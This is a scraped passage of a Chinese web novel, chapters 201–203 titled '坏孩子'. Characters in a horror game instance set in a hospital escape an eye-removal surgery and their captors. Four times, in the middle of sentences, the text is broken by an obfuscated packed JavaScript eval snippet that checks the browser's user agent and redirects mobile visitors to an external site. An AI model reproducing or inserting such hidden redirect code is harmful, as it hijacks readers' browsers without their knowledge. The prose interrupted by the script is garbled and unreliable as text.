他不知道的是,随歌趁着这机会,手指在他腰间一拂,那串钥匙已经静悄悄落入掌心,被他看也不看地往后一抛。 一直守在一边的冬逢初伸手,稳稳接住。 护士和保安被这混乱激怒,厉声呵斥着冲上来抓人。但随歌和林志像两条滑溜的泥鳅,在桌椅间穿梭,速度极快,根本抓不住。 初与序趁着嘈杂,叮嘱随歌:“别让林志上五楼,你也是。” 随歌一边躲开一个保安温暖的扑抱,一边头也不回地比了个“OK”的手势。他刻意领着林志只在餐厅中央绕圈,不破坏任何设施。系统只能因他们“喧哗奔跑”零星扣分,远扣不到-50的分值。 初与序和冬逢初已经冲出餐厅,直奔四楼。冬逢初拿着钥匙快速打开电力室的门,映入眼帘的是布满灰尘,嗡嗡作响的配电箱,密密麻麻、颜色各异的电线缠绕在一起,看得人眼花缭乱。 冬逢初抓起箱旁的一把绝缘剪,刚想下手,却突然停住。 失忆让他对电路知识一片空白,而初与序的物理电学全靠当年在病院图书馆偷偷自学,能认出电器就不错了,根本无法在这些线路中判断哪一个是最重要的总线。 楼下传来随歌鬼哭狼嚎的惨叫,没时间犹豫了,只能赌一把。 冬逢初对着最上方那根最粗,看上去最重要的电缆就减了下去。 幸运的是,他剪对了。不到一秒,整个住院部猛地陷入一片黑暗,伸手不见五指,所有仪器运转的声音全部消失。 紧接着,楼下餐厅方向传来孩子们惊恐的尖叫声。但先前不断响起的系统扣分提示音,竟然也随着电路断路一同陷入死寂,根本没播报出任何扣分提示。 初与序和冬逢初立刻低头看向手腕,手环上的屏幕数字依然维持着刚才的分数。 “永冬之城的系统能随副本总闸断开而失效吗?”冬逢初震惊地开口,“以前没出现过这种情况的。” 餐厅那边,林志也察觉到了异常。他猛地掏出蝴蝶刀,朝着随歌大致方向就挥去:“系统哑巴了!随歌,你受死吧!” “我操啊!”随歌急忙掏出竹扇在黑暗中反击,哀嚎道,“初与序你们两个快想办法啊!我一个治疗师哪里能和输出干啊!撑不住的啊啊啊!” 医护人员也很快反应过来,开始摸索着点燃蜡烛,微弱的光芒亮起。 计划出现了失误,现在系统无法扣分,初与序和冬逢初就无法通关破坏行为快速达到-50分,没法进入五楼。 ……但应该,还有一个办法。 “系统没用,人有用!”初与序在黑暗中拉住冬逢初的手,凭着地形记忆朝着护士站方向跑,“去找护士!” 护士站的门被他们一脚踹开,里面只有一个留守的护士,正拿着打火机点燃蜡烛。被破门声吓了一跳,皱起眉转头就要骂人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017412|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初与序已经蹿上前,一把夺过她手中的打火机。随即转身冲到墙边的资料柜前,猛地拉开柜门,随便抓起厚厚一沓文件纸张。 她摁下打火机,毫不犹豫地对准了那些资料。 火焰“呼”地腾起,飞快吞噬着纸张, “住手!”护士尖叫着扑上来想要阻拦,冬逢初已经迈步挡在她面前,拦住她的去路。 橘红色的火光照亮了初与序平静的脸,她淡漠地看着火焰迅速蔓延,直到那一沓重要资料被烧得焦黑,彻底化为灰烬,无法挽回,才松开了手。 冬逢初见资料被烧完,稍稍放松下来。身后的护士气急败坏,抬脚狠狠踹在他腹部。他压根没做任何防备,背部重重撞上桌角,痛得弯下腰去。 初与序立刻上前扶住他查看伤势,而护士已经冲到资料柜旁边。她看着地上已化为灰烬的资料,脸色由青转黑,显然那是她耗费心力整理的重要文件。 她猛地扭过头,狠狠地瞪了过来,尖叫道:“扣分!必须扣分!去五楼!你们两个贱种等着吧!!!” 她一个大跨步上前,不由分说,直接用力抓住两人戴着手环的手腕。 手环屏幕上的数字开始飞快跳动,瞬间跳转成血红的【-500】。 下一秒,两名身材壮硕的保安猛地出现在护士站门口。他们面无表情走上前,一人一个,抓着初与序和冬逢初的衣领,毫不费力地将他们从地上提了起来,粗暴地拖向电梯。 电梯门合,直到亲眼看着保安摁下【五楼】的按钮,两人才松了口气。 “叮——” 五楼到了,电梯门打开,霉味和血腥味扑鼻而来,空气阴冷,令人打寒战。 外面是绝对的黑暗,即使有电梯厢房内透出的微弱光线,也只能勉强看清对面的白色墙壁。墙壁上,似乎有大片深色的污渍,不知是青苔还是血迹。 没等两人彻底反应过来,就被两个保安狠狠甩到了五楼。 就在这时,沉寂已久的系统竟然突兀地响起: 【玩家初与序、冬逢初积分低于-50,身份确认为“坏孩子”,已移送至五楼。】 【副线任务变换:保护好自己的身体,探寻五楼的秘密。】 【提示:五楼的禁闭室内关押着一位特殊的病人,她很爱哭。当她哭泣时,请尽量远离她,务必保护好自己的身体器官。】 电梯门在身后缓缓合拢,只剩下一片黑暗。这里没有烛火,没有任务指引,甚至连NPC都没有出现。 在绝对的黑暗中,初与序的听力变得敏锐。她只能捕捉到远处,似乎有液体滴落的声响,期间还隐约夹杂着孩子烦躁的低吼声。 两人摸索着挪到墙边,伸手扶着墙,随意选择了右侧的方向,一步步缓慢前进。 走了不知多久,初与序在前方探路的手突然摸到一处向内凹陷的轮廓,应该是门框。 她犹豫了几秒,轻轻用力,将门推开一道缝隙。 门内,角落里开着一盏小灯泡,昏暗的光线勉强照亮一小片范围。 201.坏孩子 这是一间病房,但比中层的狭窄太多,两张铁床几乎紧挨着,中间只用一道厚重的帘子隔开,无法看清楚里面那张床的样子。 墙壁、地面,乃至帘子和床单上,都溅满了大片已经发黑的血迹,鼻腔里充斥着浓重的血腥味和铁锈味,这里不像病房,更像是一个临时的手术间。 初与序和冬逢初对视了一眼,两人同时放轻呼吸,无声地朝着那条帘子靠近。 他们仔细听了一会,帘子后面应该没人。初与序伸出手指,勾住帘子边缘,轻轻拉开。 昏黄灯光下放着一张铁床,一个十七八岁的男孩被束缚带呈“大”字形牢牢捆绑在床架四角。他左腿自大腿根部以下空荡荡的,断口处血肉模糊,身下的床单早已被鲜血染成暗红。 男孩身上只搭着一件被套,裸露的皮肤因失血和低温已经呈现青紫色。 两人静悄悄上前,发现男孩胸膛还有微弱的起伏,那截断肢轻微抽搐。他还活着,但气息已如游丝。 察觉到有人靠近,男孩猛地睁开眼。他张大了嘴,想说点什么,却发不出声音。 “别急。”冬逢初压低声音,“我们问你话,是就点头,不是就摇头。” 男孩眨了眨眼,表示明白。 “这里有止血剂或者止痛药吗?”初与序问道。 男孩艰难地摇了摇头,眼神灰败。初与序和冬逢初对视一眼,彼此都明白,这男孩已无生路了。 冬逢初接着问:“是医院的人把你绑在这里的?” 男孩立刻用力点头,眼底漫上恐惧。 初与序问道:“医护人员?” 男孩立刻点了点头,但没过一秒,他却又出乎意料地疯狂摇头。 不是医护人员?初与序看向冬逢初,也在他眼中看到了疑惑。她转回头,开口还想再问,却发现男孩的神情变得不对劲来。 他双眼惊恐地睁大,死死盯着初与序和冬逢初身后,嘴巴大张,发出不成调的呜咽,整个身体因为恐惧而颤抖起来,拼命用眼神示意两人! 两人甚至来不及回头。 “砰!” 后脑传来一阵剧痛,初与序眼前猛地一黑,所有感知被切断,身体不受控制地软倒下去。 永冬之城。 此刻的永冬之城可不太平,冬逢初的逃脱让A12陷入被动,系统和其他高阶执行官甚至开始怀疑他的能力。会议一天开了好几场,搜查指令也层层下达。 他们试图抓捕与冬逢初同一队的江意与景明垂,但这两人全程没冒出一个影子,自然没原因审讯他们。而出现在忘川桥的白闽等人全部被抓到了处罚区,但经过好几个小时的审讯,发现他们几人什么都不知道。 雪原宫殿。 深处,一间未燃篝火也未点灯的房间里,只有一小支蜡烛在桌面上静立着。 房间一侧沙发里窝着一道瘦削的身影,穿着单薄的病号服,刘海堪堪遮住眉眼。她指尖夹着一根点燃的烟,烟雾缭绕,衬得她面色愈发苍白。 门被从外面叩了四下。 初一慢吞吞将视线移向门口:“进。” 门被推开,一名管理员走进来,在闻到烟味时皱了下眉。他径直走到初一旁边,坐在她对面的沙发里,看向她。 初一没有平时那么精神,现在看上去病恹恹的。 “你现在吐烟,像在吐自己的命。”他淡淡道,“这几天怎么回事?你的状态很不对。” “怎么是你……算了。”初一看了他几秒,反手将烟熄灭:“没什么事,妄主被永冬之城一些能量反噬了,精神状态不太好。” 管理员无奈地摇摇头:“难怪……”他顿了顿,提及正事,“知道永冬之城发生的事了吗?初与序带着冬逢初跑了。” 初一露出一丝冷淡的笑意:“正常。” “有执行官查到他们在副本里,向上请求派人进副本抓人,要同意吗?” 初一慢吞吞地思索了片刻:“不必。我倒想看看,他们五人接下来的计划。” 管理员点了点头,不再多问,起身欲走。 “他们进的是哪个副本?”初一忽然开口。 “《坏孩子》。”管理员停住脚步,“地点是善佑医院。” 初一的神色微妙地顿了一下,随即,极轻地笑了一声:“挺好的。” 一阵剧烈的钝痛从后脑蔓延开来,初与序下意识蹙眉,眼皮沉重地掀开。 眼前只有一片模糊的光晕,来自不远处的蜡烛火苗。大脑一片混乱,什么都记不起来。后脑持续传来闷痛,但除了那里,很久没出事的右眼此刻竟然也疼痛起来。 初与序迷迷糊糊用手肘试图撑起上半身,但刚一用力,却发现自己动弹不得。 她低下头,看清了自己的处境。身下是冰冷的铁质手术台,自己的四肢被灰白色的医用束缚带死死固定在台子边缘,勒进皮肉。被束缚的地方血液不通,此时已经麻木,失去了知觉。 视线上移,初与序看见自己的右手袖子被卷起,胳膊上正扎着一枚留置针。透明的软管连接着上方悬挂的袋子,里面装着淡蓝色不知名液体。她能清晰地感觉到那液体正在自己血管里缓缓流动,冰凉刺骨。 初与序强忍着头晕和剧痛,抬起头环顾四周。 这里像是一间手术室,但与五楼其他地方的血污破旧不同。这里的墙壁和器械虽然蒙尘,但崭新整洁,应该是新开的。 视线还是模糊,她用力眨了眨眼,试图聚焦,右眼的疼痛却越来越剧烈。 她太厌恶这种地方了,所有的痛苦都来自于善佑医院。如今出现在善佑医院的手术室里,即使现实中不记得自己躺过手术台,但她心里还是下意识反感。 “吱呀——” 手术室的门在这时被从外面推开,一个穿着白大褂的男人走了进来,看到她睁着眼,意外地扬了扬眉:“看来我还是下手轻了,你这么快就醒了。” 初与序涣散的目光在他脸上停留了好几秒,才终于认出这个人。 “你……?”她张了张嘴。 “是我。”单良笑着点了点头,走到初与序身边。 直到这时,初与序混乱的大脑才勉强清醒了几分,记起了之前的事情。 单良站到手术台旁边,慢条斯理地戴上医用手套,拉过一旁的小推车,上面装满了医疗器械。 初与序垂下眼,试图用耳骨夹联系冬逢初,却感觉耳朵上空空如也。她抬头看向推车,那枚耳骨夹已经被单良提前取下,随意丢在小推车上。 初与序:“……” 她只好看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017413|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束缚着自己手腕的灰白色带子上,这种医用束缚带她最熟悉不过了。当年善佑医院的护士经常拿这玩意儿捆人,被捆的孩子中包括且不限于她自己。没有利器,单凭人力根本无法挣脱。 单良低着头整理着器械,平和道:“初与序,你是我遇到的孩子中最冷静的一个,倒也不枉我向上级申请新开一间手术室。” 初与序看向自己手臂上的留置针,问道:“你在给我打什么?” “放心,只是营养液,对身体有好处,尤其是对你的眼睛。”单良短促地笑了一声,他拿起一支针管,话锋一转,“比起那个,我认为你更应该担心我手上的东西。” 针管里的是无色透明液体,反正肯定不是什么好东西。 “这是什么?”初与序淡淡问道。 单良放下针管,从白大褂口袋里取出一个精致的小玻璃瓶,放到初与序面前,让她能清晰地看到里面无色的药剂。 “编号「Imaginary-5」,我们称它‘幽灵之吻’。”单良轻声道,“核心成分是东莨菪碱,一种从南美洲曼陀罗等植物中提取到的生物碱。它能让你的肌肉僵硬和暂时瘫痪,但意识清醒,只能眼睁睁看着周围发生的一切,无能为力,动弹不得。” “更有用的是,它会带来强烈的幻觉和分离性体验。注射后,你会感觉自己的灵魂脱离了身体,漂浮在空中,成为一个……无助的旁观者。” 初与序道:“恭喜你们,又研制出一种非法药品。所以我的朋友呢?他在哪?” 单良无所谓地耸耸肩,收起药剂:“遗憾的是,我也不清楚。你的朋友很想救你,但他无能为力。不过他跑得很快,你可以假设他现在还活着,这算是很好的状况,或许半小时后就能见到他的尸体。” 初与序道:“你想要我身上的奇器官?还是别的什么。” 单良的目光缓缓移到她那只灰蒙蒙的右眼,勾起嘴角,点了点头:“是的,我需要你的右眼。” “右眼?”初与序语气里带着困惑,“你明知道我右眼失明,取走一个没用的眼睛,对你有什么好处?” “我要的就是你失明的右眼。”单良道,“我等了很久很久,终于等到一个符合所有条件的孩子了。说起来,还要感谢你的养父母,把你送到了这里。” 他微微俯身,和初与序对视:“只要成功完成这场手术,一切……就都结束了。” “结束?”初与序问道,“什么结束?你在完成什么任务?” 单良脸上的平和瞬间消失,眼神重新变得阴翳。他没有回答,只是重新拿起了那支针管。 初与序看着逼近自己胳膊的针尖,冷静地指出:“我现在已经被绑住,动不了。为什么还要多此一举注射这个?” 单良动作停住,难得有耐心解释:“因为稍后的眼球摘除手术,你的眼睛需要保持在‘活性应激状态’。” 他指了指束缚带:“这种物理束缚会持续向你的大脑发送‘被压制’的信号,抑制必要的生理反应。我必须解开束缚,让你处于自由状态,你的眼睛才能达到手术所需的最佳活性值。” 他顿了顿,看向初与序毫无表情的脸,嘲讽道:“以你的性格,束缚一解开,恐怕立即就会跑得无影无踪。所以,需要它来确保你配合。” 202.坏孩子 “你真的要这么做吗?”初与序一字一句道,“那我建议你在手术最后赶紧弄死我,如果我醒来,一定会杀了你,单医生。” “哦?是吗。”单良不以为意,“那我很害怕,很想在最后弄死你了。但最近死的孩子有点多,院方处理不过来,已经不让我们随便杀人了。但弄断你两条腿还是可以的。” 他说完,重新抬起手,冰冷的针尖对准初与序的胳膊,刺入静脉。 初与序下意识吸入一口气,却感觉吸不进任何空气。最先涌上的感觉是冷,刺入骨髓的寒意,顺着血管急速蔓延,像是海水在体内奔涌,冷得窒息,冷到解离。 视野开始模糊,刚刚好不容易清晰起来的视野再次扭曲。初与序感觉自己右眼深处的隐痛被放大,像在被火焰灼烧。自己好像去到了小时候放火烧家的厨房,转眼间,又回到了这间冰冷的手术室。她不得不闭上眼睛,缓解灼热。 身体逐渐麻木,之前后脑和右眼的疼痛此刻消失,初与序感觉自己正在下沉,但意识却无比清醒。 单良冷眼观察着初与序,试图从她脸上捕捉到药物生效的痕迹。但对方始终半垂着眼睫,皱着眉,她似乎一直都是皱着眉的,看不出什么变化。 他疑惑地瞥了一眼初与序胳膊上的针孔,又看了看自己手中空了的针管:“奇怪,不是已经注射了吗?拿错药了?” 他凑近些,伸出五根手指在初与序眼前晃了晃。 初与序有些吃力地掀起眼皮,目光追随移动的手指。单良紧紧盯着她的右眼,那只眼睛依旧灰蒙蒙,但瞳孔很明显比平时涣散很多。 确认药效已经发作,单良这才满意地颔首,动手解开了束缚她四肢的束缚带。 初与序感到手脚一轻,她下意识攥紧拳头,积蓄力量,但手指软绵绵的。她用口型骂了一句。 单良不再理会她,转身从小推车上拿起一支粗长的局部麻醉针,就要朝着她无力垂落的手腕扎下。 只听“砰”一声,初与序眼睁睁看着一道瘦削的身影不知从哪飞跃而下,只剩一道残影,凌空夺过单良手中的麻醉针往远处扔掉,借着下坠之势,狠狠踹在单良心口! “啊!”单良猝不及防,痛呼一声,被这股巨力踹倒在地。 那道身影趁机单膝压上他的脊背,将他死死按在冰冷的地面上。从推车上随便抓起一把手术刀,毫不犹豫地抵住了他颈侧跳动的血管。 这时,那身体才低低地喘了口气:“操……” 初与序:“?” 她眨了眨眼,模糊的视野里,那个压着单良的身影显得有些不真实。 幻觉这么快就出现了吗? 直到那人抬起头望向自己,露出冬逢初那张清秀白皙的脸庞,初与序才确实,这不是幻觉。 冬逢初身上挂着不少伤,左手手腕的骨折伤势似乎更加重了,半边病号服都被血迹染红,贴在身上。 他刚刚情急之下脱口而出的脏话,此时才后知后觉,脸上闪过一丝慌乱:“阿序,那个……我平时不是这样……” 初与序看着他,没有丝毫意外:“解释什么?” 冬逢初愣住:“啊……?” “先带我走。”初与序的声音因无力轻飘飘的。 冬逢初立刻收敛心神,手里刀尖往单良颈侧皮肤里陷得更深。他抬头看向初与序胳膊上的留置针,动手想拔下来,但又怕操作不当。便对着单良冷冰冰道:“把她的留置针拔下来。” 单良咬紧牙关,在生命的威胁下只能屈从,动作粗鲁地拔掉了初与序手臂上的留置针。针头离开皮肤,带出一串血珠。 冬逢初看见,蹙起眉,又是一脚踹在单良身上:“动作轻点不知道吗?” 说完,他又看了看初与序身上,在确实没有其他针头或装置后,一只手按住单良的脖子,按了几秒。单良脑子缺血,在地上抽搐了几秒,昏迷过去。 如果不是在走剧情时故意杀死NPC会引起所有怪物对全体玩家的仇恨值增加,冬逢初真想就地解决掉单良。 他立刻转身冲到手术台边,小心将初与序扶起。药效在她体内肆虐,幻觉渐渐出现,初与序隐约能看见有鬼影在周围黑暗中扭动,但她的意识格外清醒。 “电路还没恢复,五楼的规则大概是——‘遇到危险,活下来就算赢’。”初与序靠在冬逢初怀里,冷静道,“现在去护士站,找医护人员问我们的病房。我现在的状态不适合留在外面。” 冬逢初点了点头,迅速将推车上的银色耳骨夹拿起,为初与序小心戴回耳朵上。随后打横将她抱起,避开地上昏迷的单良,快步离开手术室。 五楼走廊两侧多了几盏烛台,火苗摇曳,勉强照亮前路。 冬逢初抱着初与序来到护士站,里面只有一个穿着白大褂的医生,背对着他们,正对着一台老旧电视机闪烁的雪花屏,屏幕的光在他脸上一明一灭。 冬逢初站定在桌前,面无表情道:“您好,请告诉我,我们的病房在哪里。” 那医生暖暖转过头,目光在冬逢初和他怀里闭着眼睛的初与序身上转了一圈,慢慢扯出一个微笑。他果然如初与序所说没有动怒,反而带着一种玩味:“新来的吧?新来的都住504,门开着。” 冬逢初想起之前被送上来的付遇,他摇了摇头:“不要这一间。” 医生“哼”了一声:“小孩子,屁事还挺多。”但他还是从抽屉里摸出一把钥匙,丢在桌上:“505的,钥匙拿好,别弄丢了。” 冬逢初拿起那串冰冷的钥匙,转身便要走。 “等等。”医生漫不经心地开口,“今晚九点,晚间有活动,先去大堂集合。别迟到了。” 怀里的初与序半睁开眼,看了冬逢初一眼。 冬逢初明白过来她的想法,脚步顿住,侧过头,脸上依旧没什么表情:“谢谢。” 医生似乎被这声谢取悦,挑了挑眉:“有礼貌,那就再给你们一个忠告。” “离禁闭室远点,那里可不是什么好地方……” 冬逢初没有再说话,急匆匆带着初与序来到505病房门前。隔壁504房门紧闭,寂静无声,不知道付遇是不是在里面。 他小心翼翼用钥匙打开门,侧身闪入,随即反手将门锁死,确保没有人能从外面进来。 病房内一片漆黑,他摸索着将初与序轻轻放在靠里面的那张病床上,接着就听见初与序说:“我口袋里有打火机。” 冬逢初从她病号服口袋里摸出之前那个护士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017414|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的打火机,“咔嗒”一声,微弱的火苗蹿起,他借着打火机的光芒,在病房内转了一圈,在衣柜里找到了两根蜡烛。 他将蜡烛点燃,放在床头两端。 橘黄色的温暖光晕缓缓铺开,终于照亮了病房。这里比想象中整洁,墙壁干净,没有血污。两张病床几乎挨在一起,墙壁上挂着一个老旧时钟,指针指向晚上七点。 他重新望向初与序,烛光下,她的脸色苍白,眼睫低垂,呼吸轻浅。一只手搭在冬逢初衣服上,想去抓他衣角,但使不上力,全身微微颤抖着。 冬逢初左右看了看,没有找到枕头,便自己坐到床上,背靠着冰冷硌人的床板,然后伸出手小心地将初与序揽过来,让她靠在自己肩膀上,随后捧着她冰冷的双手给她取暖。 药效像汹涌的暗流,初与序感觉自己不存在于这个世界,眼前的一切都模糊不清。 她下意识地垂下视线,目光艰难地聚焦在冬逢初环抱着她的手臂上。他右手挽起的袖口下,手背到手腕,赫然是一大片狰狞的伤口,鲜血淋漓。 她怔怔地看着那片伤,视线越来越模糊,一滴温热的液体毫无预兆地落在,砸在那伤疤旁。 冬逢初被手背上突如其来的湿意吓了一跳,慌忙低头去看她。初与序眉眼低垂,苍白的脸上没有任何表情,唯有泪水无声地滑落,浸湿了睫毛,将那双总是清冷的眼睛洗出一片忧伤。 说真的,他慌了神。 冬逢初强装镇定,抬手轻轻拭去初与序脸上的泪水:“阿序怎么哭了呀?是哪里难受吗?” 初与序哽咽道:“对不起……我不应该让J23来这个副本的。这里太难了……” 冬逢初用没受伤的手抚摸她的头发,安抚道:“没有的呀,亲爱的。能和你在同一个副本实在是太好了。我知道这个副本很难,也知道你很累了,累了你就歇一歇,没关系的,有我在哪。” 初与序的视野开始扭曲,烛光摇曳的阴影里,浮现出一个个幻影。有早早死去的病友,有幼时病逝的父亲,还有之前在比赛中惨死的宋睿……他们无声地逼近。 她大脑一片空白,说:“冬逢初,我好像看到鬼了,我害怕。” 冬逢初轻轻叹了口气,抬手,覆盖住她的眼睛,另一只手紧紧抱住她,将她完全护在怀中。 “我们不看啊,我们不看。没有鬼的,就算有,也是来爱你的。我们阿序值得很多很多人爱着呢。” 他低下头,轻轻在她冰冷的脸颊上落下一个吻:“没事的,我就在这里,别怕。” 被冬逢初这样哄着,初与序的泪水倒流得越来越凶。方才的那一针让她撇去了一直以来伪装的坚强,压抑的情绪爆发出来,她失声痛哭。 冬逢初轻轻拍着她的背:“哭嘛,没关系,你不坚强没关系,你才十几岁嘛。我陪着你好不好,我们一起活着好不好,以后幸福好不好。不会有人吼你了,不会有人厌恶你了,不会再受委屈了宝宝。我爱你的,我真的爱你。” 冬逢初也不知道,为什么一个十八岁的小姑娘,命里掺着这么多潮湿。她的世界像被浸在墨水里,捞出来都沉甸甸的。 她经历了这么多,还能这样彻彻底底地信任冬逢初的爱。 这真的不容易。 203.坏孩子 三楼某个杂物间内。 随歌被暴怒的林志抓住,他的竹扇被夺走扔在一旁,双手被麻绳反绑在背后,脚踝也被紧紧捆住。 林志用膝盖顶住他的后腰,将他整个人面朝墙壁压在水泥墙上,一只手扣着他被绑的手腕,另一只手揪住了他的头发。 十五岁的随歌还没有染黄毛,现在抓在手里,倒是顺手。 “妈的,想办法把你那两个队友从五楼弄下来!听到没有!”林志抓着他头发,对着他吼。 随歌脸上已经被揍得青一块紫一块,却还在笑:“这事儿我可没撤,你有本事自己上去啊?” 林志哪里不想去五楼?和一个没头脑的随歌以及一个装傻子笑嘻嘻的蒋川待在中层,他快憋屈死了。但付遇的计划明确,他和蒋川必须待在中层。更何况,他还得盯着蒋川这个可能叛变的队友。 见随歌嘴硬,林志揪着他头发,暴脾气地猛地将他的脑袋往墙上撞去! “哐!”一声闷响。 “嘶——我操……” “同不同意!”林志恶狠狠问道。 “同意你妈!”随歌也大喊。 “哐!” “现在呢?” “同意你祖宗!”随歌被砸得龇牙咧嘴。 又是“哐哐哐”几声,整面墙都被砸得微微颤抖。 “你放弃吧林志!”随歌喘着粗气,“我是不可能把他们俩弄下来的!你自己在中层当孤独的根号三吧!” 就这么来回数次,随歌额头早已一片血肉模糊,鲜血顺着眉骨流下,糊了半张脸。他嘴上却一刻不停,身体还在奋力挣扎,还找准机会向后踹了林志一脚。 整个过程,蒋川就倚在门边,手里把玩着随歌的竹扇,脸上挂着事不关己的笑容,谁也不帮。 林志气得额头青筋暴起,打了半天这孙子还像块滚刀肉。他彻底失去耐心,软硬不吃那就吃子弹吧,他眼中凶光一闪,抽出蝴蝶刀,刀锋直接抵上随歌的脖子。 “够了。” 蒋川突然出声,伸手拦了一下。她笑眯眯地瞥了满脸是血的随歌一眼,对林志说:“先留着这人,虽然问不出啥,但这扇子是治疗的。他死了,宝贝可就没了。不如留着扇子给我们疗伤,等副本快通关时杀了他。” 林志权衡片刻,觉得有理。他收起刀,随手扯过一卷宽胶带,“刺啦”一声牢牢封住随歌骂骂咧咧的嘴,然后将他丢在杂物间。 “废物,就在这儿好好待着吧!”林志嘲弄地朝他竖了个中指,砰一声关上门,从外面锁上。 杂物间内重回灰暗,随歌想破口大骂,却只能发出“呜呜”声,只好在心里把林志和蒋川的祖宗十八代亲切问候了一遍。 他用手肘抵着冰冷粗糙的地面,艰难地挪动身体,从地上坐起身,靠在墙角,喘了几口气。 他试着动了动被反绑在背后的手指,想要摸索绳结,但麻绳捆得死紧,再加上右手五根手指以前被打断留下的后遗症,稍微用力便传来一阵钻心的酸麻,根本使不上劲。 “他大爷的……”随歌低骂一声,声音被胶带闷住。 他借着杂物间那一点点蜡烛的光,环顾这个堆满杂物的房间。很快锁定房间另一头,那里一张老旧木桌断裂了,留下不算锋利但足够坚硬的桌角。 他深吸一口气,再次用手肘撑住墙面,腰腹和膝盖发力,从地上站起来,一蹦一跳地挪到那个桌角旁。然后背转过身,蹲下,将手腕上的麻绳对准那个桌角,上下磨蹭起来。 没磨多久,手臂和肩膀就酸胀难忍。嘴巴被胶带封死,呼吸不畅,加上用力,大脑开始缺氧发育。随歌不得不摸一会儿停一会,歇口气再继续。 不知过了多久,久到蜡烛都短了一截,手腕上终于一松,麻绳被成功磨断。 随歌抖着手撕掉嘴上的胶带,大口大口地呼吸着浑浊的空气,瘫倒在地。他抬手随便抹去脸上血迹,骂骂咧咧:“妈的……这下初与序和冬逢初欠老子一万盒……不,十万盒草莓牛奶!等老子活着出去,把这两人积分全拿来买!” 等气息稍微平复,他迅速解开了脚上的麻绳,走到门边,轻轻一推,纹丝不动。 却不见得他慌张,反而勾起唇角。随歌熟练地调出面板,从一堆杂七杂八的道具里,精准抽出一根有些锈迹的旧吉他琴弦。 “嘿,多亏之前换琴弦时懒得扔,顺手塞进面板里了。”他说着,将琴弦一端绕出一个小弯钩,“林志那傻缺真以为这能难得到我?全服前十没那么容易死。” 他将弯钩的一端小心翼翼插入锁孔,凭着感觉轻轻拨动。 “咔哒。”一声轻响,门锁弹开。 随歌屏住呼吸,慢慢拧动门把,将门拉开一条缝隙。走廊上空无一人,寂静无声。 他毫不犹豫,抓起那截蜡烛,拔腿就跑。 快晚上九点时,初与序睁开眼睛,从睡眠中醒来。 一睁眼,便看到冬逢初安静地坐在床边的椅子上,烛光映照着他温柔的侧脸。 见爱人醒来,他立刻转过头,弯起眉眼:“阿序,睡得好吗?” 初与序意识还有些涣散,模糊记得自己在冬逢初怀里哭着哭着就睡过去了。之后一直无梦,那些狰狞的鬼影也没打扰。 她试着动了动手指,虽然有些乏力,但能明显感觉药效褪去很多。 在冬逢初的搀扶下,她站起身。两人打开病房门,电路已经恢复,走廊灯火通明,眼前的景象让他们微微一愣。 门外不是想象中的压抑,反而人声嘈杂,热闹得有些反常。穿着病号服的孩子三五成群走在走廊上,他们身上带着很多被打的新鲜伤口,但一双双眼睛里看不到麻木,反而亮着桀骜的光彩。偶有几个神情怯弱的孩子,也被身旁的同伴拉着走。 初与序和冬逢初混入人群,一同朝着大堂的方向移动。 不远处的人流中,付遇站在那里。她也看到了他们,双方对视一眼,都心照不宣地移开视线,不打算在这时动手。 孩子们聚集在五楼大堂,这里的气氛比中层更加躁动。 讲台前拉着一条厚重的黑色帘子,看不到后面有什么。帘子前面站着几个医生,为首的是一名面容冷峻的陌生医生,手里拿着一个写字板。他身边,单良面无表情站着,显然还在为之前手术失败而不悦。 另一侧则是之前在护士站看电视的医生,现在他胸前别着身份牌,上面的名字是【白阔】。他脸上依旧挂着笑眯眯的表情,扫视一众孩子。 陌生的医生清了清嗓子,孩子们安静下来。 “张磊,李荟,出列。其他人留下。” 话音落下,一个满脸不耐烦的男生,和一个看上去有些烦恼的女生从人群中走了出来。 陌生医生确定了一下两人的身份,点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017415|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口刚要说话,却被单良打断。 他直勾勾看向初与序的方向,话却是对着同事说的:“等等,让这个新来的也去,两个孩子有些勉强。” 